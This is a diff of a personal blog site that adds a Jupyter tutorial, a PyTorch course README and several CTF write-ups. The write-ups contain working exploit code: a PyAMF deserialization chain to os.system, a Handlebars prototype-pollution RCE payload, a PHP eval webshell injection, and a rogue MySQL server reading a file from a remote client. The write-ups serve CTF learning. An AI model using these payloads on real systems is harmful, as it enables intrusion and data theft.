    # 增加,减少,剪切,保存,删除等
    # a, b, x, s, dd

    # 合并,执行本单元代码,并跳转到下一单元,执行本单元代码,留在本单元
    # Shift+M Shift+Enter Ctrl+Enter

    # 显示行数,切换markdown/code
    # l, m/y
    +
  2. +
  3. +

    Jupyter Notebook中按下Enter进入编辑模式,按下Esc进入命令模式

    +
  4. +
+
    +
  • +

    编辑模式(绿色)

    +

    image-20220805144702521

    +
  • +
  • +

    命令模式(蓝色)

    +

    image-20220805144722375

    +
  • +
  • +

    在命令模式下,点击h,会弹出快捷键窗口

    +
  • +
+image-20220805144803441 +
    +
  1. Jupyter Lab同样有两种模式。按下Enter进入编辑模式,按下Esc进入命令模式
  2. +
+
    +
  • 编辑模式(有框线无光标)
  • +
+

image-20220805145218241

+
    +
  • 命令模式(无框线无光标)
  • +
+

image-20220805150721875

+
    +
  • 快捷键操作与Jupyter Notebook基本相同,可参考上一部分
  • +
+
    +
  1. 快捷键汇总
  2. +
+

​ 命令模式(按Esc)

+
    +
  • Enter : 转入编辑模式
  • +
  • Shift-Enter : 运行本单元,选中下个单元
  • +
  • Ctrl-Enter : 运行本单元
  • +
  • Alt-Enter : 运行本单元,在其下插入新单元
  • +
  • Y : 单元转入代码状态
  • +
  • M :单元转入markdown状态
  • +
  • R : 单元转入raw状态
  • +
  • 1 : 设定 1 级标题
  • +
  • 2 : 设定 2 级标题
  • +
  • 3 : 设定 3 级标题
  • +
  • 4 : 设定 4 级标题
  • +
  • 5 : 设定 5 级标题
  • +
  • 6 : 设定 6 级标题
  • +
  • Up : 选中上方单元
  • +
  • K : 选中上方单元
  • +
  • Down : 选中下方单元
  • +
  • J : 选中下方单元
  • +
  • Shift-K : 扩大选中上方单元
  • +
  • Shift-J : 扩大选中下方单元
  • +
  • A : 在上方插入新单元
  • +
  • B : 在下方插入新单元
  • +
  • X : 剪切选中的单元
  • +
  • C : 复制选中的单元
  • +
  • Shift-V : 粘贴到上方单元
  • +
  • V : 粘贴到下方单元
  • +
  • Z : 恢复删除的最后一个单元
  • +
  • D,D : 删除选中的单元
  • +
  • Shift-M : 合并选中的单元
  • +
  • Ctrl-S : 文件存盘
  • +
  • S : 文件存盘
  • +
  • L : 转换行号
  • +
  • O : 转换输出
  • +
  • Shift-O : 转换输出滚动
  • +
  • Esc : 关闭页面
  • +
  • Q : 关闭页面
  • +
  • H : 显示快捷键帮助
  • +
  • I,I : 中断Notebook内核
  • +
  • 0,0 : 重启Notebook内核
  • +
  • Shift : 忽略
  • +
  • Shift-Space : 向上滚动
  • +
  • Space : 向下滚动
  • +
+

​ 编辑模式(按Enter)

+
    +
  • Tab : 代码补全或缩进
  • +
  • Shift-Tab : 提示
  • +
  • Ctrl-] : 缩进
  • +
  • Ctrl-[ : 解除缩进
  • +
  • Ctrl-A : 全选
  • +
  • Ctrl-Z : 复原
  • +
  • Ctrl-Shift-Z : 再做
  • +
  • Ctrl-Y : 再做
  • +
  • Ctrl-Home : 跳到单元开头
  • +
  • Ctrl-Up : 跳到单元开头
  • +
  • Ctrl-End : 跳到单元末尾
  • +
  • Ctrl-Down : 跳到单元末尾
  • +
  • Ctrl-Left : 跳到左边一个字首
  • +
  • Ctrl-Right : 跳到右边一个字首
  • +
  • Ctrl-Backspace : 删除前面一个字
  • +
  • Ctrl-Delete : 删除后面一个字
  • +
  • Esc : 进入命令模式
  • +
  • Ctrl-M : 进入命令模式
  • +
  • Shift-Enter : 运行本单元,选中下一单元
  • +
  • Ctrl-Enter : 运行本单元
  • +
  • Alt-Enter : 运行本单元,在下面插入一单元
  • +
  • Ctrl-Shift-- : 分割单元
  • +
  • Ctrl-Shift-Subtract : 分割单元
  • +
  • Ctrl-S : 文件存盘
  • +
  • Shift : 忽略
  • +
  • Up : 光标上移或转入上一单元
  • +
  • Down :光标下移或转入下一单元
  • +
+

3.3 安装插件​

+
    +
  • Jupyter Notebook安装插件的方法
  • +
+
    +
  1. +

    在Anaconda Powershell Prompt中输入

    +
    pip install jupyter_contrib_nbextensions
    +
  2. +
  3. +

    再次输入以下指令,将插件添加到工具栏

    +
    jupyter contrib nbextension install
    +
  4. +
  5. +

    打开Jupyter Notebook,点击Nbextensions,取消勾选disable configuration for nbextensions without explicit compatibility,此时可以添加自己喜欢的插件啦!

    +
  6. +
+image-20220805151600140 +
    +
  1. 推荐以下两个基础插件
  2. +
+
    +
  • +

    Execute Time:可以显示执行一个Cell要花费多少时间

    +
  • +
  • +

    Hinterland:提供代码补全功能

    +
  • +
  • +

    Jupyter Lab安装插件的方法

    +
  • +
+
    +
  1. Jupyter Lab安装插件点击左侧的第四个标志,点击“Enable”后就可以在搜索栏中搜索想要的插件
  2. +
+image-20220805152331777 +
    +
  1. 例如搜索jupyterlab-execute-time后,在Search Results中查看结果,点击Install便可安装插件
  2. +
+image-20220805152507891 +
    +
  1. +

    还可以在Anaconda Powershell Prompt中使用指令来安装插件

    +
    jupyter labextension install jupyterlab-execute-time  # 安装jupyterlab-execute-time
    +
  2. +
+

4 进阶操作​

+

​ 除了以上操作,Jupyter Notebook还有许多丰富的内容等待大家探索。如Bash命令、魔术命令等。我们为大家提供了一份在Notebook中编写的进阶操作,快来试试看吧~

+

​ 点击查看进阶教程

+

5 参考资料​

+

【1】Jupyter Notebook介绍、安装及使用教程 - 知乎 (zhihu.com)

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第零章/index.html b/en/docs/个人知识库/AI/PyTorch/第零章/index.html new file mode 100644 index 0000000..15a8a59 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第零章/index.html @@ -0,0 +1,46 @@ + + + + + +第零章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/index.html b/en/docs/个人知识库/AI/index.html new file mode 100644 index 0000000..13f4f4d --- /dev/null +++ b/en/docs/个人知识库/AI/index.html @@ -0,0 +1,385 @@ + + + + + +AI | wjlin0 + + + + + + + +

AI

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:03
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

深入浅出PyTorch

+
+

[!IMPORTANT] +在线阅读地址 | 配套视频教程 | 智海(国家级AI科教平台)

+

请注意:在线文档更新落后于主仓库更新,建议看source文件夹下的markdown文件

+
+

一、项目初衷​

+

PyTorch是利用深度学习进行数据科学研究的重要工具,在灵活性、可读性和性能上都具备相当的优势,近年来已成为学术界实现深度学习算法最常用的框架。

+

考虑到PyTorch的学习兼具理论储备和动手训练,两手都要抓两手都要硬的特点,我们开发了《深入浅出PyTorch》课程,期望以组队学习的形式,帮助大家从入门到熟练掌握PyTorch工具,进而实现自己的深度学习算法。

+

我们的愿景是:通过组队学习,大家能够掌握由浅入深地PyTorch的基本知识和内容,经过自己的动手实践加深操作的熟练度。同时通过项目实战,充分锻炼编程能力,掌握PyTorch进行深度学习的基本流程,提升解决实际问题的能力。

+

学习的先修要求是,会使用Python编程,了解包括神经网络在内的机器学习算法,勤于动手实践。

+

《深入浅出PyTorch》是一个系列,一共有三个部分。已经上线的是本系列的第一、二部分,后续会不断更新《深入浅出PyTorch》(下),给出更贴合实际应用的实战案例。

+

二、内容简介​

+
    +
  • 第零章:前置知识(选学) +
      +
    • 人工智能简史
    • +
    • 相关评价指标
    • +
    • 常用包的学习
    • +
    • Jupyter相关操作
    • +
    +
  • +
  • 第一章:PyTorch的简介和安装 +
      +
    • PyTorch简介
    • +
    • PyTorch的安装
    • +
    • PyTorch相关资源简介
    • +
    +
  • +
  • 第二章:PyTorch基础知识 +
      +
    • 张量及其运算
    • +
    • 自动求导简介
    • +
    • 并行计算、CUDA和cuDNN简介
    • +
    +
  • +
  • 第三章:PyTorch的主要组成模块 +
      +
    • 思考:完成一套深度学习流程需要哪些关键环节
    • +
    • 基本配置
    • +
    • 数据读入
    • +
    • 模型构建
    • +
    • 损失函数
    • +
    • 优化器
    • +
    • 训练和评估
    • +
    • 可视化
    • +
    +
  • +
  • 第四章:PyTorch基础实战 +
      +
    • 基础实战——Fashion-MNIST时装分类
    • +
    • 基础实战——果蔬分类实战(notebook)
    • +
    +
  • +
  • 第五章:PyTorch模型定义 +
      +
    • 模型定义方式
    • +
    • 利用模型块快速搭建复杂网络
    • +
    • 模型修改
    • +
    • 模型保存与读取
    • +
    +
  • +
  • 第六章:PyTorch进阶训练技巧 +
      +
    • 自定义损失函数
    • +
    • 动态调整学习率
    • +
    • 模型微调-torchvision
    • +
    • 模型微调-timm
    • +
    • 半精度训练
    • +
    • 数据扩充
    • +
    • 超参数的修改及保存
    • +
    • PyTorch模型定义与进阶训练技巧
    • +
    +
  • +
  • 第七章:PyTorch可视化 +
      +
    • 可视化网络结构
    • +
    • 可视化CNN卷积层
    • +
    • 使用TensorBoard可视化训练过程
    • +
    • 使用wandb可视化训练过程
    • +
    • 使用SwanLab可视化训练过程
    • +
    +
  • +
  • 第八章:PyTorch生态简介 +
      +
    • 简介
    • +
    • 图像—torchvision
    • +
    • 视频—PyTorchVideo
    • +
    • 文本—torchtext
    • +
    • 音频-torchaudio
    • +
    +
  • +
  • 第九章:模型部署 +
      +
    • 使用ONNX进行部署并推理
    • +
    +
  • +
  • 第十章:常见网络代码的解读(推进中) +
      +
    • 计算机视觉 +
        +
      • 图像分类 +
          +
        • ResNet源码解读
        • +
        • Swin Transformer源码解读
        • +
        • Vision Transformer源码解读
        • +
        • RNN源码解读
        • +
        • LSTM源码解读及其实战
        • +
        +
      • +
      • 目标检测 +
          +
        • YOLO系列解读(与MMYOLO合作)
        • +
        +
      • +
      • 图像分割
      • +
      +
    • +
    • 自然语言处理 +
        +
      • RNN源码解读
      • +
      +
    • +
    • 音频处理
    • +
    • 视频处理
    • +
    • 其他
    • +
    • +
    +
  • +
+

三、人员安排​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
成员 个人简介个人主页
牛志康DataWhale成员,西安电子科技大学本科生[知乎][个人主页]
李嘉骐DataWhale成员,清华大学研究生[知乎]
刘洋Datawhale成员,中国科学院数学与系统科学研究所研究生[知乎]
陈安东DataWhale成员,哈尔滨工业大学研究生[个人主页]
+

教程贡献情况(已上线课程内容):

+

李嘉骐:第三章;第四章;第五章;第六章;第七章;第八章;内容整合

+

牛志康:第一章;第三章;第六章;第七章;第八章,第九章,第十章;文档部署

+

刘洋:第二章;第三章

+

陈安东:第二章;第三章;第七章

+

四、 课程编排与配套视频​

+
Details
+

部分章节直播讲解请观看B站回放(持续更新):https://www.bilibili.com/video/BV1L44y1472Z

+
    +
  • +

    课程编排: +深入浅出PyTorch分为三个阶段:PyTorch深度学习基础知识、PyTorch进阶操作、PyTorch案例分析。

    +
  • +
  • +

    使用方法:

    +

    我们的课程内容都以markdown格式或jupyter notebook的形式保存在本仓库内。除了多看加深课程内容的理解外,最重要的还是动手练习、练习、练习

    +
  • +
  • +

    组队学习安排:

    +

    第一部分:第一章到第四章,学习周期:10天;

    +

    第二部分:第五章到第八章,学习周期:11天

    +
  • +
+
+

五、关于贡献​

+
Details
+

本项目使用Forking工作流,具体参考atlassian文档大致步骤如下:

+
    +
  1. 在GitHub上Fork本仓库
  2. +
  3. Clone Fork后的个人仓库
  4. +
  5. 设置upstream仓库地址,并禁用push
  6. +
  7. 使用分支开发,课程分支名为lecture{#NO},#NO保持两位,如lecture07,对应课程目录
  8. +
  9. PR之前保持与原始仓库的同步,之后发起PR请求
  10. +
+

命令示例:

+
# fork
# clone
git clone git@github.com:USERNAME/thorough-pytorch.git
# set upstream
git remote add upstream git@github.com:datawhalechina/thorough-pytorch.git
# disable upstream push
git remote set-url --push upstream DISABLE
# verify
git remote -v
# some sample output:
# origin git@github.com:NoFish-528/thorough-pytorch.git (fetch)
# origin git@github.com:NoFish-528/thorough-pytorch.git (push)
# upstream git@github.com:datawhalechina/thorough-pytorch.git (fetch)
# upstream DISABLE (push)
# do your work
git checkout -b lecture07
# edit and commit and push your changes
git push -u origin lecture07
# keep your fork up to date
## fetch upstream main and merge with forked main branch
git fetch upstream
git checkout main
git merge upstream/main
## rebase brach and force push
git checkout lecture07
git rebase main
git push -f
+

Commit Message​

+

提交信息使用如下格式:<type>: <short summary>

+
<type>: <short summary>
│ │
│ └─⫸ Summary in present tense. Not capitalized. No period at the end.
│
└─⫸ Commit Type: [docs #NO]:others
+

others包括非课程相关的改动,如本README.md中的变动,.gitignore的调整等。

+
+

六、更新计划​

+
Details
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
内容更新时间内容
apexapex的简介和使用
模型部署Flask部署PyTorch模型
TorchScriptTorchScript
并行训练并行训练
模型预训练 - torchhubtorchhub的简介和使用方法
目标检测 - SSDSSD的简介和实现
目标检测 - RCNN系列Fast-RCNN & Mask-RCNN
目标检测 - DETRDETR的实现
图像分类 - GoogLeNetGoogLeNet的介绍与实现
图像分类 - MobileNet系列MobileNet系列介绍与实现
图像分类 - GhostNetGhostNet代码讲解
生成式对抗网络 - 生成手写数字实战生成数字并可视化
生成式对抗网络 - DCGAN
风格迁移 - StyleGAN
生成网络 - VAE
图像分割 Deeplab系列Deeplab系列代码讲解
自然语言处理 LSTMLSTM情感分析实战
自然语言处理 Transformer
自然语言处理 BERT
视频待定
音频待定
自定义CUDA扩展和算子
+
+

七、鸣谢与反馈​

+
    +
  • 非常感谢DataWhale成员 叶前坤 @PureBuckwheat 和 胡锐锋 @Relph1119 对文档的细致校对!
  • +
  • 如果有任何想法可以联系我们DataWhale也欢迎大家多多提出issue。
  • +
  • 特别感谢以下为教程做出贡献的同学!并特别感谢MMYOLO的贡献者们!
  • +
+ + + +

Made with contrib.rocks.

+

八、关注我们​

+
Datawhale是一个专注AI领域的开源组织,以“for the learner,和学习者一起成长”为愿景,构建对学习者最有价值的开源学习社区。关注我们,一起学习成长。
+

LICENSE​

+

知识共享许可协议
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/CTF/Knownsec/knownsec-ctf-09/index.html b/en/docs/个人知识库/CTF/Knownsec/knownsec-ctf-09/index.html new file mode 100644 index 0000000..75f56af --- /dev/null +++ b/en/docs/个人知识库/CTF/Knownsec/knownsec-ctf-09/index.html @@ -0,0 +1,88 @@ + + + + + +KnownSec 2023年度第五次内部攻防演练 | wjlin0 + + + + + + + +

KnownSec 2023年度第五次内部攻防演练

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:39:14
+
+

题目源码 -> vyrpgtqhknoxypax.bz2

+
+

对题目下载的源码分析,发现为一个简易的文件服务器,但是需要密码才能登录

+
from pyamf.remoting.gateway.wsgi import WSGIGateway

import logging

logger = logging.getLogger()
logger.setLevel(logging.DEBUG) # 设置日志级别为 NOTSET

# 创建一个 StreamHandler 处理器并设置其级别为 DEBUG
stream_handler = logging.StreamHandler()
stream_handler.setLevel(logging.DEBUG)

# 创建一个格式化器并将其应用于处理器
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
stream_handler.setFormatter(formatter)

# 将处理器添加到 logger
logger.addHandler(stream_handler)



ADMIN_USER = "??"
ADMIN_PASS = "??"


class FileManagerService:
def read(self, filename):
with open(filename, "rb") as f:
return f.read()

def list(self, path="/"):
import os
return os.listdir(path)


def auth(username, password):
if username == ADMIN_USER and password == ADMIN_PASS:
return True

return False


gateway = WSGIGateway({"file_manager": FileManagerService}, authenticator=auth, logger=logger)


if __name__ == "__main__":
from wsgiref import simple_server

host = "0.0.0.0"
port = 5000

httpd = simple_server.WSGIServer((host, port), simple_server.WSGIRequestHandler)
httpd.set_app(gateway)

logger.info("Running Authentication AMF gateway on http://%s:%d" % (host, port))

try:
httpd.serve_forever()
except KeyboardInterrupt:
pass

+

从github上的 pyamf 介绍可以看到 他是与Flash的amf兼容的一个库,与常用的python web框架Django,Pylons,Twisted,SQLAlchemy,web2py兼容。

+

image-20230928152047488

+

它可以利用amf协议定义下的格式,进行远程对象调用、执行,于是只要满足amf格式的对象就能够进行远程调用,即可;

+

通过查阅资料可以得知,AMF3需要满足以下格式

+
00 03 00 00 00 01 00 01 61 00 01 62 ......
# 00 03 amf协议的版本号 3
# 00 00 头部数据 为0
# 00 01 消息体 1
# 00 01 目标长度
# 61 目标 -> a
# 00 01 接收长度
# 62 接收方 b
# ..... 消息体
+

而消息体只需要满足是amf转换的 对象 int、bool、等类型的数据均可被传递

+

image-20230928155624774

+

在py3amf这个包中,它本身支持序列化和反序列化,于是我们只需要了解它的调用过程,就可以利用这一特点进行远程代码执行。

+

在pyamf\remoting\gateway\wsgi.py 这个方法对远程代码进行了解码操作

+

image-20230928155934795

+

跟进,就会发现它读出了我们设定的target和response

+

image-20230928160140437

+

image-20230928160222907

+

而关键就在decoder.readElement()->self._readElemnt()中

+

image-20230928160256940

+

image-20230928160357959

+

首先是读出了字节是哪种类型

+

image-20230928160545964

+

而这个函数就是读出amf格式的对象

+

image-20230928160649837

+

首先会读出类名 -> 静态属性、动态属性,这就完成了一个对象的加载。

+

image-20230928161017686

+

image-20230928161046419

+

image-20230928161110524

+

但最后为何会触发这些被实例化的对象呢,我们知道在python 存在某些魔法方法,当在一定条件下,就会触发,例如,以下函数:

+

img

+

img

+

img

+

img

+

img

+

img

+

所以后续操作时,很容易就会触发这些魔法方法,当我们就需要寻找 在那个魔法方法里能够找到一个 我们可以控制并调用的其他对象的方法的一些调用链,最终找到能够控制的函数调用 eval、exec 、os.system

+

然而这道题给了我们提示,在这个建议的文件服务器中,满足一定条件就可以调用我们生成出来的service

+

如下所示

+

image-20230928162028502

+

image-20230928162135714

+

不难看出,只要self.service、method、params可以控制,就可以实现任意类的公有方法调用,所以我们需要向上查找,那个能够对象触发pyamf.remoting.gateway.ServiceWrapper的__call__方法、满足调用时存在两个参数,并且能够实例化时不需要任何参数,就能够实例化,很遗憾我没有直接 直接找到这么一个类满足这个条件,但我找到了一个类可以通过重复调用自己使其满足两个,并且它的__new__ 方法不需要任何参数

+

image-20230928165235163

+

我发现这个最外层的对象在 Request()中进行,空对象比较是,会触发__len__方法

+

image-20230928165553526

+

image-20230928165646492

+

所以后面能够衔接 只要调用属性对象被当成方法调用即可

+

image-20230928165738257

+

最终在pyamf.util.pure.BytesIOProxy的__len__ 找到了

+

image-20230928165747768

+

我们此时能够对任意类的任意方法执行了,于是找一个执行了eval、exec 的方法即可,一个常用的类pdb.Pdb中的很多方法都调用了exec,但我们需要一个公开的方法 do_break

+

image-20230928171305147

+

于是完整的poc如下

+
from pyamf import amf0, amf3, util

AMF = amf3


def serialize(obj):
stream = util.BufferedByteStream()
context = AMF.Context()
encoder = AMF.Encoder(stream, context)
encoder.writeElement(obj)
return stream.getvalue()


def deserialize(data):
stream = util.BufferedByteStream(data)
context = AMF.Context()
decoder = AMF.Decoder(stream, context)
return decoder.readElement()


def serialize_attrs(attrs):
s = b""
for k, v in attrs.items():
s += serialize(k)[1:]
if isinstance(v, Obj):
s += v.serialize()
else:
s += serialize(v)

s += serialize(None)
return s


class Obj:
def __init__(self, _name, **kwargs):
self.name = _name
self.attrs = kwargs

def serialize(self):
s = b"\x0a\x0b" + serialize(self.name)[1:]
s += serialize_attrs(self.attrs)
return s

serialized = Obj(
"pyamf.util.pure.BytesIOProxy",
_len_changed=True,
_len=48763,
_get_len=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"pyamf.remoting.gateway.ServiceWrapper",
service=Obj(
"pdb.Pdb",
curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),
curframe_locals={},
stdout=None
),
),
_Method__name="do_break",
),
_Method__name="""
__import__("os").system("dir")
""".strip(), # your exploit here
),
).serialize()



import requests

serialized = b"\x11" + serialized
r = requests.post(
"http://localhost:5000/",
data=b"\x00\x03"
+ b"\x00\x00"
+ b"\x00\x01"
+ b"\x00\x01c"
+ b"\x00\x01b"
+ len(serialized).to_bytes(4, "big") + serialized,
)

print(r.text)

+

Referer

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/CTF/各类CTF比赛WP/01.2025年能源CTF大赛社会组/index.html b/en/docs/个人知识库/CTF/各类CTF比赛WP/01.2025年能源CTF大赛社会组/index.html new file mode 100644 index 0000000..557f43d --- /dev/null +++ b/en/docs/个人知识库/CTF/各类CTF比赛WP/01.2025年能源CTF大赛社会组/index.html @@ -0,0 +1,88 @@ + + + + + +2025年能源CTF大赛社会组 | wjlin0 + + + + + + + +

2025年能源CTF大赛社会组

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:39:14
+

题目已经整合到了我的 CTF平台,各位可前往复现

+

题目列表​

+ +

WriteUp​

+

EasyNodeRce​

+

思路​

+
    +
  • 利用 Handlebars AST注入配合
  • +
  • 原型链污染
  • +
+

wp​

+
import requests

payload = {
"__proto__": {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('open -a Calculator').toString())"
}],
"loc": {
"start": 0
}
}]
}
}

url = "http://192.168.3.91:3000/template"
data = {
"pathKey": "text",
"data": payload
}
print(data)
text = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})
print(text.text)

+

EasyInstall​

+

思路​

+
    +
  • 通过写入 db 配置文件 一句话木马
  • +
  • 利用恶意数据库,读取本地文件 /readflag
  • +
+

wp​

+

发送一下数据包 注意 mysql的连接地址必须是真实的

+
POST /install.php?m=Install&a=step2&c=Install& HTTP/1.1
Host: 127.0.0.1:2002
Content-Length: 160
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=f9d1b6956b5af8d809954a1a9d8db6b1
Connection: keep-alive

admin[]=admin&admin[]=admin&admin[]=admin&admin[]=admin&admin[]=admin&db[]=mysql&db[]=127.0.0.1&db[]=test&db[]=root&db[]=root'.eval($_GET[1]).'1&db[]=3306&db[]=
+

得到对应Cookie

+
HTTP/1.1 302 Found
Date: Fri, 18 Apr 2025 02:43:44 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: foo_db_config=think%3A%7B%22DB_PREFIX%22%3A%22%22%2C%22DB_PORT%22%3A%223306%22%2C%22DB_PWD%22%3A%22root%2527.eval%2528%2524_GET%255B1%255D%2529.%25271%22%2C%22DB_USER%22%3A%22root%22%2C%22DB_NAME%22%3A%22test%22%2C%22DB_HOST%22%3A%22127.0.0.1%22%2C%22DB_TYPE%22%3A%22mysql%22%7D; path=/
Location: /install.php?s=/install/step3.html
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8



+

将得到的cookie 替换下方的 Cookie ,并请求写入webShell

+
POST /install.php?m=Install&a=step3&c=Install& HTTP/1.1
Host: 127.0.0.1:2002
Content-Length: 0
Pragma: no-cache
Cookie: foo_db_config=think%3A%7B%22DB_PREFIX%22%3A%22%22%2C%22DB_PORT%22%3A%223306%22%2C%22DB_PWD%22%3A%22root%2527.eval%2528%2524_GET%255B1%255D%2529.%25271%22%2C%22DB_USER%22%3A%22root%22%2C%22DB_NAME%22%3A%22test%22%2C%22DB_HOST%22%3A%22127.0.0.1%22%2C%22DB_TYPE%22%3A%22mysql%22%7D; path=/
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=f9d1b6956b5af8d809954a1a9d8db6b1
Connection: keep-alive


+

访问得到flag

+
➜  ~ curl 'http://127.0.0.1:2002/Modules/Common/Conf/35476a338e03e65c85448bb8450bd27d.php?1=system(%27cat+/readflag%27);'
ctf{123456789}
+

第二种解法 利用 恶意mysql服务器读取客户端的文件

+

这题的flag在文件 readflag 所以有点恶心一般想不到

+

首先在拥有公网IP的VPS上构建服务器

+
➜  /tmp wget https://github.com/rmb122/rogue_mysql_server/releases/download/v1.0.1/rogue_mysql_server-v1.0.1-linux-amd64.zip && unzip rogue_mysql_server-v1.0.1-linux-amd64.zip
--2025-04-18 10:51:46-- https://github.com/rmb122/rogue_mysql_server/releases/download/v1.0.1/rogue_mysql_server-v1.0.1-linux-amd64.zip
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/274864626/d3436ccd-2e10-4cb9-9a1a-660b39e130fa?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250418%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250418T025134Z&X-Amz-Expires=300&X-Amz-Signature=c0afaa517ca3841b0be1836cd468aeda032264abc6b60ef0c77d072bb52f9619&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drogue_mysql_server-v1.0.1-linux-amd64.zip&response-content-type=application%2Foctet-stream [following]
--2025-04-18 10:51:46-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/274864626/d3436ccd-2e10-4cb9-9a1a-660b39e130fa?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250418%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250418T025134Z&X-Amz-Expires=300&X-Amz-Signature=c0afaa517ca3841b0be1836cd468aeda032264abc6b60ef0c77d072bb52f9619&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drogue_mysql_server-v1.0.1-linux-amd64.zip&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3396655 (3.2M) [application/octet-stream]
Saving to: ‘rogue_mysql_server-v1.0.1-linux-amd64.zip.1’

rogue_mysql_server-v1.0.1-linux-amd64.zip 100%[====================================================================================>] 3.24M 8.89MB/s in 0.4s

2025-04-18 10:51:48 (8.89 MB/s) - ‘rogue_mysql_server-v1.0.1-linux-amd64.zip.1’ saved [3396655/3396655]

Archive: rogue_mysql_server-v1.0.1-linux-amd64.zip
inflating: README.md
inflating: config.yaml
inflating: rogue_mysql_server
+

修改 config.yaml 中需要读取的文件 为 /readflag 并启动

+
➜  /tmp vim config.yaml
➜ /tmp ./rogue_mysql_server
INFO[2025-04-18 10:53:19] Server started at [0.0.0.0:3306]
+

使用以下命令触发文件读取,注意数据库IP为公网地址的IP

+
➜  ~ curl 'http://127.0.0.1:2002/install.php?m=Install&a=step3&c=Install&' \
-H 'Cookie: foo_db_config=mysql://root:root@83.229.121.36:3306/test?1001=1;'

+

发送后,服务端就会得到对应的flag文件

+
➜  /tmp ./rogue_mysql_server
INFO[2025-04-18 10:59:34] Server started at [0.0.0.0:3306]
INFO[2025-04-18 10:59:37] New client from addr [171.219.210.82:17709] logged in with username [root], database [test], ID [1]
INFO[2025-04-18 10:59:37] Client from addr [171.219.210.82:17709], ID [1] try to query [SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"]
INFO[2025-04-18 10:59:37] Now try to read file [/readflag] from addr [171.219.210.82:17709], ID [1]
INFO[2025-04-18 10:59:37] Read success, stored at [./loot/171.219.210.82/1744945177597_readflag]
INFO[2025-04-18 10:59:38] Client leaved, Addr [171.219.210.82:17709], ID [1]
^C
➜ /tmp cat ./loot/171.219.210.82/1744945177597_readflag
ctf{123456789}
➜ /tmp
+

NumberTheory​

+

思路​

+

费马定理

+

wp​

+
```
from Crypto.Util.number import *
import gmpy2


e = 65537
n = 105531804094410236294687082475828411218788143973352026416392542762437103918840861241726193253936370648195682452618343195471719649394086997793137653518966739212122830015579955183805636213883066694989610003565432493653164047938048521354525623612253955387430773546124647105772639376194421783783651686606080214099
c = 6838127295540107402282470465780599628759317234806902778570348919850980664834107227012249617036087381075344016550381137159643512672239826438903241091658619314078921936719784123522758604349399440232971511649918093228288847534685526358191804172060250409498531941883162873696671060909325234109062997554795436940
h = 225457129615945961139095949356083106510992163176770860368085043522677811094793442173512565115313130227614423196268240217775831118417780318014842280209747426271227826513967791945116378179885000662888744992914390207196310600996050316737090999399962338133222370745589250853315876818226312453376340282748842779666176953455553054310328901299083159029050169950812885486884682347263045764918907196922313892044095742248895091717187372068779768743879411865275203496650858608

#hint + 233 * k == 233 * k * p
# hint / 233*k + 1 == p
# hint / 233*k == p-1
# hint /233 = k*(p-1) = k*phi(p)
# 费马小定理
